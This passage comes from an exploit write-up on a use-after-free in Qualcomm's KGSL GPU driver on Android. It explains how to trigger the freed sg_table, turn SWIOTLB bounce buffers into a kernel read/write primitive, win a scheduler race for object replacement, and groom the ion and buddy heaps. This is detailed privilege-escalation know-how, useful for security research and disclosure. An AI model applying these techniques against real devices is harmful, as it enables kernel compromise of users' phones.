So far, so good, everything is taken care of, but a closer look reveals that, when creating a KGSL_USER_MEM_TYPE_ADDR object, the code would first check if the user supplied address is allocated by the ion allocator, if so, it will create an ION type memory object instead.

static int kgsl_setup_useraddr(struct kgsl_device *device,
		struct kgsl_pagetable *pagetable,
		struct kgsl_mem_entry *entry,
		unsigned long hostptr, size_t offset, size_t size)
 	/* Try to set up a dmabuf - if it returns -ENODEV assume anonymous */
	ret = kgsl_setup_dmabuf_useraddr(device, pagetable, entry, hostptr);
	if (ret != -ENODEV)
		return ret;

	/* Okay - lets go legacy */
	return kgsl_setup_anon_useraddr(pagetable, entry,
		hostptr, offset, size);

While there is nothing wrong with using a DMA mapping when the user supplied memory is actually a dma buffer (allocated by ion), if something goes wrong during the ioctl call, the clean up logic will be wrong and memdesc->sgt will be incorrectly deleted. Fortunately, before the ION ABI change introduced in the 4.12 kernel, the now freed sg_table cannot be reached again. However, after this change, the sg_table gets added to the dma_buf_attachment when a DMA buffer is attached to a device, and the dma_buf_attachment is then stored in the DMA buffer.

static int ion_dma_buf_attach(struct dma_buf *dmabuf, struct device *dev,
                                struct dma_buf_attachment *attachment)
        table = dup_sg_table(buffer->sg_table);
        a->table = table;                          //<---- c. duplicated table stored in attachment, which is the output of dma_buf_attach in a.
        list_add(&a->list, &buffer->attachments);  //<---- d. attachment got added to dma_buf::attachments
        return 0;

This will normally be removed when the DMA buffer is detached from the device. However, because of the wrong clean up logic, the DMA buffer will never be detached in this case, (kgsl_destroy_ion is not called) meaning that after the ioctl call failed, the user supplied DMA buffer will end up with an attachment that contains a free’d sg_table. This sg_table will then be used any time when the DMA_BUF_IOCTL_SYNC call is used on the buffer:

static int __ion_dma_buf_begin_cpu_access(struct dma_buf *dmabuf,
                                          enum dma_data_direction direction,
                                          bool sync_only_mapped)
        list_for_each_entry(a, &buffer->attachments, list) {
                if (sync_only_mapped)
                        tmp = ion_sgl_sync_mapped(a->dev, a->table->sgl,        //<--- use-after-free of a->table
                                                  direction, true);
                        dma_sync_sg_for_cpu(a->dev, a->table->sgl,              //<--- use-after-free of a->table
                                            a->table->nents, direction);

There are actually multiple paths in this ioctl that can lead to the use of the sg_table in different ways.

Getting a free’d object with a fake out-of-memory error

While this looks like a very good use-after-free that allows me to hold onto a free’d object and use it at any convenient time, as well as in different ways, to trigger it, I first need to cause the IOCTL_KGSL_GPUOBJ_IMPORT or IOCTL_KGSL_MAP_USER_MEM to fail and to fail at the right place. The only place where a use-after-free can happen in the IOCTL_KGSL_GPUOBJ_IMPORT call is when it fails at kgsl_mem_entry_attach_process:

long kgsl_ioctl_gpuobj_import(struct kgsl_device_private *dev_priv,
		unsigned int cmd, void *data)
	kgsl_memdesc_init(dev_priv->device, &entry->memdesc, param->flags);
	if (param->type == KGSL_USER_MEM_TYPE_ADDR)
		ret = _gpuobj_map_useraddr(dev_priv->device, private->pagetable,
			entry, param);
	else if (param->type == KGSL_USER_MEM_TYPE_DMABUF)
		ret = _gpuobj_map_dma_buf(dev_priv->device, private->pagetable,
			entry, param, &fd);
		ret = -ENOTSUPP;

	if (ret)
		goto out;

	ret = kgsl_mem_entry_attach_process(dev_priv->device, private, entry);
	if (ret)
		goto unmap;

This is the last point where the call can fail. Any earlier failure will also not result in kgsl_sharedmem_free being called. One way that this can fail is if kgsl_mem_entry_track_gpuaddr failed to reserve memory in the gpu due to out-of-memory error:

static int kgsl_mem_entry_attach_process(struct kgsl_device *device,
		struct kgsl_process_private *process,
		struct kgsl_mem_entry *entry)
	ret = kgsl_mem_entry_track_gpuaddr(device, process, entry);
	if (ret) {
		return ret;

Of course, to actually cause an out-of-memory error would be rather difficult and unreliable, as well as risking to crash the device by exhausting the memory.

If we look at how a user provided address is mapped to gpu address in kgsl_iommu_get_gpuaddr, (which is called by kgsl_mem_entry_track_gpuaddr, note that these are actually user space gpu address in the sense that they are used by the gpu with a user process specific pagetable to resolve the actual addresses, so different processes can have the same gpu addresses that resolved to different actual locations, in the same way that user space addresses can be the same in different processes but resolved to different locations) then we see that an alignment parameter is taken from the flags of the kgsl_memdesc:

static int kgsl_iommu_get_gpuaddr(struct kgsl_pagetable *pagetable,
		struct kgsl_memdesc *memdesc)
	unsigned int align;
    //Uses `memdesc->flags` to compute the alignment parameter
	align = max_t(uint64_t, 1 << kgsl_memdesc_get_align(memdesc),

and the flags of memdesc is taken from the flags parameter when the ioctl is called:

long kgsl_ioctl_gpuobj_import(struct kgsl_device_private *dev_priv,
		unsigned int cmd, void *data)
	kgsl_memdesc_init(dev_priv->device, &entry->memdesc, param->flags);

When mapping memory to the gpu, this align value will be used to ensure that the memory address is mapped to a value that is aligned (i.e. multiples of) to align. In particular, the gpu address will be the next multiple of align that is not already occupied. If no such value exist, then an out-of-memory error will occur. So by using a large align value in the ioctl call, I can easily use up all the addresses that are aligned with the value that I specified. For example, if I set align to be 1 << 31, then there will only be two addresses that aligns with align (0 and 1 << 31). So after just mapping one memory object (which can be as small as 4096 bytes), I’ll get an out-of-memory error the next time I use the ioctl call. This will then give me a free’d sg_table in the DMA buffer. By allocating another object of similar size in the kernel, I can then replace this sg_table with an object that I control. I’ll go through the details of how to do this later, but for now, let’s assume I am able to do this and have complete control of all the fields in this sg_table and see what this bug potentially allows me to do.

The primitives of the vulnerability

As mentioned before, there are different ways to use the free’d sg_table via the DMA_BUF_IOCTL_SYNC ioctl call:

static long dma_buf_ioctl(struct file *file,
			  unsigned int cmd, unsigned long arg)
	switch (cmd) {
		if (sync.flags & DMA_BUF_SYNC_END)
			if (sync.flags & DMA_BUF_SYNC_USER_MAPPED)
				ret = dma_buf_end_cpu_access_umapped(dmabuf,
				ret = dma_buf_end_cpu_access(dmabuf, dir);
			if (sync.flags & DMA_BUF_SYNC_USER_MAPPED)
				ret = dma_buf_begin_cpu_access_umapped(dmabuf,
				ret = dma_buf_begin_cpu_access(dmabuf, dir);

		return ret;

These will ended up calling the functions __ion_dma_buf_begin_cpu_access or __ion_dma_buf_end_cpu_access that provide the concrete implemenations.

As explained before, the DMA_BUF_IOCTL_SYNC call is meant to synchronize the cpu view of the DMA buffer and the device (in this case, gpu) view of the DMA buffer. For the kgsl device, the synchronization is implemented in lib/swiotlb.c. The various different ways of syncing the buffer will more or less follow a code path like this:

  1. The scatterlist in the free’d sg_table is iterated in a loop;
  2. In each iteration, the dma_address and dma_length of the scatterlist is used to identify the location and size of the memory for synchronization.
  3. The function swiotlb_sync_single is called to perform the actual synchronization of the memory.

So what does swiotlb_sync_single do? It first checks whether the dma_address (dev_addrdma_to_phys for kgsl is just the identity function) in the scatterlist is an address of a swiotlb_buffer using the is_swiotlb_buffer function, if so, it calls swiotlb_tlb_sync_single, otherwise, it will call dma_mark_clean.

static void
swiotlb_sync_single(struct device *hwdev, dma_addr_t dev_addr,
		    size_t size, enum dma_data_direction dir,
		    enum dma_sync_target target)
	phys_addr_t paddr = dma_to_phys(hwdev, dev_addr);

	BUG_ON(dir == DMA_NONE);

	if (is_swiotlb_buffer(paddr)) {
		swiotlb_tbl_sync_single(hwdev, paddr, size, dir, target);

	if (dir != DMA_FROM_DEVICE)

	dma_mark_clean(phys_to_virt(paddr), size);

The function dma_mark_clean simply flushes the cpu cache that corresponds to dev_addr and keeps the cpu cache in sync with the actual memory. I wasn’t able to exploit this path and so I’ll concentrate on the swiotlb_tbl_sync_single path.

void swiotlb_tbl_sync_single(struct device *hwdev, phys_addr_t tlb_addr,
			     size_t size, enum dma_data_direction dir,
			     enum dma_sync_target target)
	int index = (tlb_addr - io_tlb_start) >> IO_TLB_SHIFT;
	phys_addr_t orig_addr = io_tlb_orig_addr[index];

	if (orig_addr == INVALID_PHYS_ADDR)                            //<--------- a. checks address valid
	orig_addr += (unsigned long)tlb_addr & ((1 << IO_TLB_SHIFT) - 1);

	switch (target) {
		if (likely(dir == DMA_FROM_DEVICE || dir == DMA_BIDIRECTIONAL))
			swiotlb_bounce(orig_addr, tlb_addr,
				       size, DMA_FROM_DEVICE);

After a further check of the address (tlb_addr) against an array io_tlb_orig_addr, the function swiotlb_bounce is called.

static void swiotlb_bounce(phys_addr_t orig_addr, phys_addr_t tlb_addr,
			   size_t size, enum dma_data_direction dir)
	unsigned char *vaddr = phys_to_virt(tlb_addr);
	if (PageHighMem(pfn_to_page(pfn))) {

		while (size) {
			sz = min_t(size_t, PAGE_SIZE - offset, size);

			buffer = kmap_atomic(pfn_to_page(pfn));
			if (dir == DMA_TO_DEVICE)
				memcpy(vaddr, buffer + offset, sz);
				memcpy(buffer + offset, vaddr, sz);
	} else if (dir == DMA_TO_DEVICE) {
		memcpy(vaddr, phys_to_virt(orig_addr), size);
	} else {
		memcpy(phys_to_virt(orig_addr), vaddr, size);

As tlb_addr and size comes from a scatterlist in the free’d sg_table, it becomes clear that I may be able to call a memcpy with a partially controlled source/destination (tlb_addr comes from scatterlist but is constrained as it needs to pass some checks, while size is unchecked). This could potentially give me a very strong relative read/write primitive. The questions are:

  1. What is the swiotlb_buffer and is it possible to pass the is_swiotlb_buffer check without a seperate info leak?
  2. What is the io_tlb_orig_addr and how to pass that test?
  3. How much control do I have with the orig_addr, which comes from io_tlb_orig_addr?

The Software Input Output Translation Lookaside Buffer

The Software Input Output Translation Lookaside Buffer (SWIOTLB), sometimes known as the bounce buffer, is a memory region with physical address smaller than 32 bits. It seems to be very rarely used in modern Android phones and as far as I can gather, there are two main uses of it:

  1. It is used when a DMA buffer that has a physical address higher than 32 bits is attached to a device that can only access 32 bit addresses. In this case, the SWIOTLB is used as a proxy of the DMA buffer to allow access of it from the device. This is the code path that we have been looking at. As this would mean an extra read/write operation between the DMA buffer and the SWIOTLB every time a synchronization between the device and DMA buffer happens, it is not an ideal scenario but is rather only used as a last resort.
  2. To use as a layer of protection to avoid untrusted usb devices from accessing DMA memory directly (See here)

As the second usage is likely to involve plugging a usb device to a phone and thus requires physical access. I’ll only cover the first usage here, which will also answer the three questions in the previous section.

To begin with, let’s take a look at the location of the SWIOTLB. This is used by the check is_swiotlb_buffer to determine whether a physical address belongs to the SWIOTLB:

int is_swiotlb_buffer(phys_addr_t paddr)
	return paddr >= io_tlb_start && paddr < io_tlb_end;

The global variables io_tlb_start and io_tlb_end marks the range of the SWIOTLB. As mentioned before, the SWIOTLB needs to be an address smaller than 32 bits. How does the kernel guarantee this? By allocating the SWIOTLB very early during boot. From a rooted device, we can see that the SWIOTLB is allocated nearly right at the start of the boot. This is an excerpt of the kernel log during the early stage of booting a Pixel 4:

[    0.000000] c0      0 software IO TLB: swiotlb init: 00000000f3800000
[    0.000000] c0      0 software IO TLB: mapped [mem 0xf3800000-0xf3c00000] (4MB)

Here we see that io_tlb_start is 0xf3800000 while io_tlb_end is 0xf3c00000.

While allocating the SWIOTLB early makes sure that the its address is below 32 bits, it also makes it predictable. In fact, the address only seems to depend on the amount of memory configured for the SWIOTLB, which is passed as the swiotlb boot parameter. For Pixel 4, this is swiotlb=2048 (which seems to be a common parameter and is the same for Galaxy S10 and S20) and will allocate 4MB of SWIOTLB (allocation size = swiotlb * 2048) For the Samsung Galaxy A71, the parameter is set to swiotlb=1, which allocates the minimum amount of SWIOTLB (0x40000 bytes)

[    0.000000] software IO TLB: mapped [mem 0xfffbf000-0xfffff000] (0MB)

The SWIOTLB will be at the same location when changing swiotlb to 1 on Pixel 4.

This provides us with a predicable location for the SWIOTLB to pass the is_swiotlb_buffer test.

Let’s take a look at io_tlb_orig_addr next. This is an array used for storing addresses of DMA buffers that are attached to devices with addresses that are too high for the device to access:

swiotlb_map_sg_attrs(struct device *hwdev, struct scatterlist *sgl, int nelems,
		     enum dma_data_direction dir, unsigned long attrs)
	for_each_sg(sgl, sg, nelems, i) {
		phys_addr_t paddr = sg_phys(sg);
		dma_addr_t dev_addr = phys_to_dma(hwdev, paddr);

		if (swiotlb_force == SWIOTLB_FORCE ||
		    !dma_capable(hwdev, dev_addr, sg->length)) {
            //device cannot access dev_addr, so use SWIOTLB as a proxy
			phys_addr_t map = map_single(hwdev, sg_phys(sg),
						     sg->length, dir, attrs);

In this case, map_single will store the address of the DMA buffer (dev_addr) in the io_tlb_orig_addr. This means that if I can cause a SWIOTLB mapping to happen by attaching a DMA buffer with high address to a device that cannot access it (!dma_capable), then the orig_addr in memcpy of swiotlb_bounce will point to a DMA buffer that I control, which means I can read and write its content with complete control.

static void swiotlb_bounce(phys_addr_t orig_addr, phys_addr_t tlb_addr,
			   size_t size, enum dma_data_direction dir)
    //orig_addr is the address of a DMA buffer uses the SWIOTLB mapping
	} else if (dir == DMA_TO_DEVICE) {
		memcpy(vaddr, phys_to_virt(orig_addr), size);
	} else {
		memcpy(phys_to_virt(orig_addr), vaddr, size);

It now becomes clear that, if I can allocate a SWIOTLB, then I will be able to perform both read and write of a region behind the SWIOTLB region with arbitrary size (and completely controlled content in the case of write). In what follows, this is what I’m going to use for the exploit.

To summarize, this is how synchronization works for DMA buffer shared with the implementation in /lib/swiotlb.c.

When the device is capable of accessing the DMA buffer’s address, synchronization will involve flushing the cpu cache:


When the device cannot access the DMA buffer directly, a SWIOTLB is created as an intermediate buffer to allow device access. In this case, the io_tlb_orig_addr array is served as a look up table to locate the DMA buffer from the SWIOTLB.


In the use-after-free scenario, I can control the size of the memcpy between the DMA buffer and SWIOTLB in the above figure and that turns into a read/write primitive:


Provided I can control the scatterlist that specifies the location and size of the SWIOTLB, I can specify the size to be larger than the original DMA buffer to cause an out-of-bounds access (I still need to point to the SWIOTLB to pass the checks). Of course, it is no good to just cause out-of-bounds access, I need to be able to read back the out-of-bounds data in the case of a read access and control the data that I write in the case of a write access. This issue will be addressed in the next section.

Allocating a Software Input Output Translation Lookaside Buffer

As it turns out, the SWIOTLB is actually very rarely used. For one or another reason, either because most devices are capable of reading 64 bit addresses, or that the DMA buffer synchronization is implemented with arm_smmu rather than swiotlb, I only managed to allocate a SWIOTLB using the adsprpc driver. The adsprpc driver is used for communicating with the DSP (digital signal processor), which is a seperate processor on Qualcomm’s snapdragon chipset. The DSP and the adsprpc itself is a very vast topic that had many security implications, and it is out of the scope of this post.

Roughly speaking, the DSP is a specialized chip that is optimized for certain computationally intensive tasks such as image, video, audio processing and machine learning. The cpu can offload these tasks to the DSP to improve overall performance. However, as the DSP is a different processor altogether, an RPC mechanism is needed to pass data and instructions between the cpu and the DSP. This is what the adsprpc driver is for. It allows the kernel to communicate with the DSP (which is running on a separate kernel and OS altogether, so this is truly «remote») to invoke functions, allocate memory and retrieve results from the DSP.

While access to the adsprpc driver from third-party apps is not granted in the default SELinux settings and as such, I’m unable to use it on Google’s Pixel phones, it is still enabled on many different phones running Qualcomm’s snapdragon SoC (system on chip). For example, Samsung phones allow accesses of adsprpc from third party Apps, which allows the exploit in this post to be launched directly from a third party App or from a compromised beta version of Chrome (or any other compromised App). On phones which adsprpc accesses is not allowed, such as the Pixel 4, an additional bug that compromises a service that can access adsprpc is required to launch this exploit. There are various services that can access the adsprpc driver and reachable directly from third party Apps, such as the hal_neuralnetworks, which is implemented as a closed source service in android.hardware.neuralnetworks@1.x-service-qti. I did not investigate this path, so I’ll assume Samsung phones in the rest of this post.

With adsprpc, the most obvious ioctl to use for allocating SWIOTLB is the FASTRPC_IOCTL_MMAP, which calls fastrpc_mmap_create to attach a DMA buffer that I supplied:

static int fastrpc_mmap_create(struct fastrpc_file *fl, int fd,
	unsigned int attr, uintptr_t va, size_t len, int mflags,
	struct fastrpc_mmap **ppmap)
	} else if (mflags == FASTRPC_DMAHANDLE_NOMAP) {
		VERIFY(err, !IS_ERR_OR_NULL(map->buf = dma_buf_get(fd)));
		if (err)
			goto bail;
		VERIFY(err, !dma_buf_get_flags(map->buf, &flags));
		map->attach->dma_map_attrs |= DMA_ATTR_SKIP_CPU_SYNC;

However, the call seems to always fail when fastrpc_mmap_on_dsp is called, which will then detach the DMA buffer from the adsprpc driver and remove the SWIOTLB that was just allocated. While it is possible to work with a temporary buffer like this by racing with multiple threads, it would be better if I can allocate a permanent SWIOTLB.

Another possibility is to use the get_args function, which will also invoke fastrpc_mmap_create:

static int get_args(uint32_t kernel, struct smq_invoke_ctx *ctx)
	for (i = bufs; i < bufs + handles; i++) {
		if (ctx->attrs && (ctx->attrs[i] & FASTRPC_ATTR_NOMAP))
		VERIFY(err, !fastrpc_mmap_create(ctx->fl, ctx->fds[i],
				FASTRPC_ATTR_NOVA, 0, 0, dmaflags,

The get_args function is used in the various FASTRPC_IOCTL_INVOKE_* calls for passing arguments to invoke functions on the DSP. Under normal circumstances, a corresponding put_args will be called to detach the DMA buffer from the adsprpc driver. However, if the remote invocation failed, the call to put_args will be skipped and the clean up will be deferred to the time when the adsprpc file is close:

static int fastrpc_internal_invoke(struct fastrpc_file *fl, uint32_t mode,
				   uint32_t kernel,
				   struct fastrpc_ioctl_invoke_crc *inv)
	if (REMOTE_SCALARS_LENGTH(ctx->sc)) {
		PERF(fl->profile, GET_COUNTER(perf_counter, PERF_GETARGS),
		VERIFY(err, 0 == get_args(kernel, ctx));                  //<----- get_args
		if (err)
			goto bail;
	if (kernel) {
	} else {
		interrupted = wait_for_completion_interruptible(&ctx->work);
		VERIFY(err, 0 == (err = interrupted));
		if (err)
			goto bail;                                        //<----- invocation failed and jump to bail directly
	VERIFY(err, 0 == put_args(kernel, ctx, invoke->pra));    //<------ detach the arguments
	return err;

So by using FASTRPC_IOCTL_INVOKE_* with an invalid remote function, it is easy to allocate and keep the SWIOTLB alive until I choose to close the /dev/adsprpc-smd file that is used to make the ioctl call. This is the only part that the adsprpc driver is needed and we’re now set up to start writing the exploit.

Now that I can allocate SWIOTLB that maps to DMA buffers that I created, I can do the following to exploit the out-of-bounds read/write primitive from the previous section.

  1. First allocate a number of DMA buffers. By manipulating the ion heap, (which I’ll go through later in this post), I can place some useful data behind one of these DMA buffers. I will call this buffer DMA_1.
  2. Use the adsprpc driver to allocate SWIOTLB buffers associated with these DMA buffers. I’ll arrange it so that the DMA_1 occupies the first SWIOTLB (which means all other SWIOTLB will be allocated behind it), call this SWIOTLB_1. This can be done easily as SWIOTLB are simply allocated as a contiguous array.
  3. Use the read/write primitive in the previous section to trigger out-of-bounds read/write on DMA_1. This will either write the memory behind DMA_1 to the SWIOTLB behind SWIOTLB_1, or vice versa.
  4. As the SWIOTLB behind SWIOTLB_1 are mapped to the other DMA buffers that I controlled, I can use the DMA_BUF_IOCTL_SYNC ioctl of these DMA buffers to either read data from these SWIOTLB or write data to them. This translates into arbitrary read/write of memory behind DMA_1.

The following figure illustrates this with a simplified case of two DMA buffers.


Replacing the sg_table

So far, I planned an exploitation strategy based on the assumption that I already have control of the scatterlist sgl of the free’d sg_table. In order to actually gain control of it, I need to replace the free’d sg_table with a suitable object. This turns out to be the most complicated part of the exploit. While there are well-known kernel heap spraying techniques that allows us to replace a free’d object with controlled data (for example the sendmsg and setxattr), they cannot be applied directly here as the sgl of the free’d sg_table here needs to be a valid pointer that points to controlled data. Without a way to leak a heap address, I’ll not be able to use these heap spraying techniques to construct a valid object. With this bug alone, there is almost no hope of getting an info leak at this stage. The other alternative is to look for other suitable objects to replace the sg_table. A CodeQL query can be used to help looking for suitable objects:

from FunctionCall fc, Type t, Variable v, Field f, Type t2
where (fc.getTarget().hasName("kmalloc") or
       fc.getTarget().hasName("kzalloc") or
      exists(Assignment assign | assign.getRValue() = fc and
             assign.getLValue() = v.getAnAccess() and
             v.getType().(PointerType).refersToDirectly(t)) and
      t.getSize() < 128 and t.fromSource() and
      f.getDeclaringType() = t and
      (f.getType().(PointerType).refersTo(t2) and t2.getSize() <= 8) and
      f.getByteOffset() = 0
select fc, t, fc.getLocation()

In this query, I look for objects created via kmallockzalloc or kcalloc that are of size smaller than 128 (same bucket as sg_table) and have a pointer field as the first field. However, I wasn’t able to find a suitable object, although filename allocated in getname_flags came close:

struct filename *
getname_flags(const char __user *filename, int flags, int *empty)
	struct filename *result;
	if (unlikely(len == EMBEDDED_NAME_MAX)) {
		result = kzalloc(size, GFP_KERNEL);
		if (unlikely(!result)) {
			return ERR_PTR(-ENOMEM);
		result->name = kname;
		len = strncpy_from_user(kname, filename, PATH_MAX);

with name points to a user controlled string and can be reached using, for example, the mknod syscall. However, not being able to use null character turns out to be too much of a restriction here.

Just-in-time object replacement

Let’s take a look at how the free’d sg_table is used, say, in __ion_dma_buf_begin_cpu_access, it seems that at some point in the execution, the sgl field is taken from the sgl_table, and the sgl_table itself will no longer be used, but only the cached pointer value of sgl is used:

static int __ion_dma_buf_begin_cpu_access(struct dma_buf *dmabuf,
					  enum dma_data_direction direction,
					  bool sync_only_mapped)
		if (sync_only_mapped)
			tmp = ion_sgl_sync_mapped(a->dev, a->table->sgl,    //<------- `sgl` got passed, and `table` never used again
						  direction, true);
			dma_sync_sg_for_cpu(a->dev, a->table->sgl,
					    a->table->nents, direction);

While source code could be misleading as auto function inlining is common in kernel code (in fact ion_sgl_sync_mapped is inlined), the bottom line is that, at some point, the value of sgl will be cached in registry and the state of the original sg_table will not affect the code path anymore. So if I am able to first replace a->table with another sg_table, then deleting this new sg_table using sg_free_table will also cause the sgl to be deleted, but of course, there will be clean up logic that sets sgl to NULL. But what if I set up another thread to delete this new sg_table after sgl had already been cached in the registry? Then it won’t matter if sgl is set to NULL, because the value in the registry will still be pointing to the original scatterlist, and as this scatterlist is now free’d, this means I will now get a use-after-free of sgl directly in ion_sgl_sync_mapped. I can then use the sendmsg to replace it with controlled data. There is one major problem with this though, as the time between sgl being cached in registry and the time where it is used again is very short, it is normally not possible to fit the entire sg_table replacement sequence within such a short time frame, even if I race the slowest cpu core against the fastest.

To resolve this, I’ll use a technique by Jann Horn in Exploiting race conditions on [ancient] Linux, which turns out to still work like a charm on modern Android.

To ensure that each task(thread or process) has a fair share of the cpu time, the linux kernel scheduler can interrupt a running task and put it on hold, so that another task can be run. This kind of interruption and stopping of a task is called preemption (where the interrupted task is preempted). A task can also put itself on hold to allow other task to run, such as when it is waiting for some I/O input, or when it calls sched_yield(). In this case, we say that the task is voluntarily preempted. Preemption can happen inside syscalls such as ioctl calls as well, and on Android, tasks can be preempted except in some critical regions (e.g. holding a spinlock). This means that a thread running the DMA_BUF_IOCTL_SYNC ioctl call can be interrupted after the sgl field is cached in the registry and be put on hold. The default behavior, however, will not normally give us much control over when the preemption happens, nor how long the task is put on hold.

To gain better control in both these areas, cpu affinity and task priorities can be used. By default, a task is run with the priority SCHED_NORMAL, but a lower priority SCHED_IDLE, can also be set using the sched_setscheduler call (or pthread_setschedparam for threads). Furthermore, it can also be pinned to a cpu with sched_setaffinity, which would only allow it to run on a specific cpu. By pinning two tasks, one with SCHED_NORMAL priority and the other with SCHED_IDLE priority to the same cpu, it is possible to control the timing of the preemption as follows.

  1. First have the SCHED_NORMAL task perform a syscall that would cause it to pause and wait. For example, it can read from a pipe with no data coming in from the other end, then it would wait for more data and voluntarily preempt itself, so that the SCHED_IDLE task can run;
  2. As the SCHED_IDLE task is running, send some data to the pipe that the SCHED_NORMAL task had been waiting on. This will wake up the SCHED_NORMAL task and cause it to preempt the SCHED_IDLE task, and because of the task priority, the SCHED_IDLE task will be preempted and put on hold.
  3. The SCHED_NORMAL task can then run a busy loop to keep the SCHED_IDLE task from waking up.

In our case, the object replacement sequence goes as follows:

  1. Obtain a free’d sg_table in a DMA buffer using the method in the section Getting a free’d object with a fake out-of-memory error.
  2. First replace this free’d sg_table with another one that I can free easily, for example, making another call to IOCTL_KGSL_GPUOBJ_IMPORT will give me a handle to a kgsl_mem_entry object, which allocates and owns a sg_table. Making this call immediately after step one will ensure that the newly created sg_table replaces the one that was free’d in step one. To free this new sg_table, I can call IOCTL_KGSL_GPUMEM_FREE_ID with the handle of the kgsl_mem_entry, which will free the kgsl_mem_entry and in turn frees the sg_table. In practice, a little bit more heap manipulation is needed as IOCTL_KGSL_GPUOBJ_IMPORT will allocate another object of similar size before allocating a sg_table.
  3. Set up a SCHED_NORMAL task on, say, cpu_1 that is listening to an empty pipe.
  4. Set up a SCHED_IDLE task on the same cpu and have it wait until I signal it to run DMA_BUF_IOCTL_SYNC on the DMA buffer that contains the sg_table in step two.
  5. The main task signals the SCHED_IDLE task to run DMA_BUF_IOCTL_SYNC.
  6. The main task waits a suitable amount of time until sgl is cached in registry, then send data to the pipe that the SCHED_NORMAL task is waiting on.
  7. Once it receives data, the SCHED_NORMAL task goes into a busy loop to keep the DMA_BUF_IOCTL_SYNC task from continuing.
  8. The main task then calls IOCTL_KGSL_GPUMEM_FREE_ID to free up the sg_table, which will also free the object pointed to by sgl that is now cached in the registry. The main task then replaces this object by controlled data using sendmsg heap spraying. This gives control of both dma_address and dma_length in sgl, which are used as arguments to memcpy.
  9. The main task signals the SCHED_NORMAL task on cpu_1 to stop so that the DMA_BUF_IOCTL_SYNC task can resume.

The following figure illustrates what happens in an ideal world.


The following figure illustrates what happens in the real world.


Crazy as it seems, the race can actually be won almost every time, and the same parameters that control the timing would even work on both the Galaxy A71 and Pixel 4. Even when the race failed, it does not result in a crash. It can, however, crash, if the SCHED_IDLE task resumes too quickly. For some reason, I only managed to hold that task for about 10-20ms, and sometimes this is not long enough for the object replacement to complete.

The ion heap

Now that I’m able to replace the scatterlist with controlled data and make use of the read/write primitives in the section Allocating a SWIOTLB, it is time to think about what data I can place behind the DMA buffers.

To allocate DMA buffers, I need to use the ion allocator, which will allocate from the ion heap. There are different types of ion heaps, but not all of them are suitable, because I need one that would allocate buffers with addresses greater than 32 bit. The locations of various ion heap can be seen from the kernel log during a boot, the following is from Galaxy A71:

[    0.626370] ION heap system created
[    0.626497] ION heap qsecom created at 0x000000009e400000 with size 2400000
[    0.626515] ION heap qsecom_ta created at 0x00000000fac00000 with size 2000000
[    0.626524] ION heap spss created at 0x00000000f4800000 with size 800000
[    0.626531] ION heap secure_display created at 0x00000000f5000000 with size 5c00000
[    0.631648] platform soc:qcom,ion:qcom,ion-heap@14: ion_secure_carveout: creating heap@0xa4000000, size 0xc00000
[    0.631655] ION heap secure_carveout created
[    0.631669] ION heap secure_heap created
[    0.634265] cleancache enabled for rbin cleancache
[    0.634512] ION heap camera_preview created at 0x00000000c2000000 with size 25800000

As we can see, some ion heap are created at fixed locations with fixed sizes. The addresses of these heaps are also smaller than 32 bits. However, there are other ion heaps, such as the system heap, that does not have a fixed address. These are the heaps that have addresses higher than 32 bits. For the exploit, I’ll use the system heap.

DMA buffers allocated on the system heap is allocated via the ion_system_heap_allocate function call. It’ll first try to allocate a buffer from a preallocated memory pool. If the pool is full, then it’ll allocate more pages using alloc_pages:

static void *ion_page_pool_alloc_pages(struct ion_page_pool *pool)
	struct page *page = alloc_pages(pool->gfp_mask, pool->order);
	return page;

and recycle the pages back to the pool after the buffer is freed.

This later case is more interesting because if the memory is allocated from the initial pool, then any out-of-bounds read/write are likely to just be reading and writing other ion buffers, which is only going to be user space data. So let’s take a look at alloc_pages.

The function alloc_pages allocates memory with page granularity using the buddy allocator. When using alloc_pages, the second parameter order specifies the size of the requested memory and the allocator will return a memory block consisting of 2^order contiguous pages. In order to exploit overflow of memory allocated by the buddy allocator, (a DMA buffer from the system heap), I’ll use the results from Exploiting the Linux kernel via packet sockets by Andrey Konovalov. The key point is that, while objects allocated from kmalloc and co. (i.e. kmallockzalloc and kcalloc) are allocated via the slab allocator, which uses preallocated memory blocks (slabs) to allocate small objects, when the slabs run out, the slab allocator will use the buddy allocator to allocate a new slab. The output of proc/slabinfo gives an indication of the size of slabs in pages.

kmalloc-8192        1036   1036   8192    4    8 : tunables    0    0    0 : slabdata    262    262      0
kmalloc-128       378675 384000    128   32    1 : tunables    0    0    0 : slabdata  12000  12000      0

In the above, the 5th column indicates the size of the slabs in pages. So for example, if the size 8192 bucket runs out, the slab allocator will ask the buddy allocator for a memory block of 8 pages, which is order 3 (2^3=8), to use as a new slab. So by exhausting the slab, I can cause a new slab to be allocated in the same region as the ion system heap, which could allow me to over read/write kernel objects allocated via kmalloc and co.

Manipulating the buddy allocator heap

As mentioned in Exploiting the Linux kernel via packet sockets, for each order, the buddy allocator maintains a freelist and use it to allocate memory of the appropriate order. When a certain order (n) runs out of memory, it’ll try to look for free blocks in the next order up, split it in half and add it to the freelist in the requested order. If the next order is also full, it’ll try to find space in the next higher up order, and so on. So by keep allocating pages of order 2^n, eventually the freelist will be exhausted and larger blocks will be broken up, which means that consecutive allocations will be adjacent to each other.

In fact, after some experimentation on Pixel 4, it seems that after allocating a certain amount of DMA buffers from the ion system heap, the allocation will follow a very predicatble pattern.

  1. The addresses of the allocated buffers are grouped in blocks of 4MB, which corresponds to order 10, the highest order block on Android.
  2. Within each block, a new allocations will be adjacent to the previous one, with a higher address.
  3. When a 4MB block is filled, allocations will start in the beginning of the next block, which is right below the current 4MB block.

The following figure illustrates this pattern.


So by simply creating a large amount of DMA buffers in the ion system heap, the likelihood would be that the last allocated buffer will be allocated in front of a «hole» of free memory, and the next allocation from the buddy allocator is likely to be inside this hole, provided the requested number of pages fits in this hole.

The heap spraying strategy is then very simple. First allocate a sufficient amount of DMA buffers in the ion heap to cause larger blocks to break up, then allocate a large amount of objects using kmalloc and co. to cause a new slab to be created. This new slab is then likely to fall into the hole behind the last allocated DMA buffer. Using the use-after-free to overflow this buffer then allows me to gain arbitrary read/write of the newly created slab.

Defeating KASLR and leaking address to DMA buffer

Initially, I was experimenting with the binder_open call, as it is easy to reach (just do open("/dev/binder")) and will allocate a binder_proc struct:

static int binder_open(struct inode *nodp, struct file *filp)
	proc = kzalloc(sizeof(*proc), GFP_KERNEL);
	if (proc == NULL)

which is of size 560 and will persist until the /dev/binder file is closed. So it should be relatively easy to exhaust the kmalloc-1024 slab with this. However, after dumping the results of the out-of-bounds read, I noticed that a recurring memory pattern:

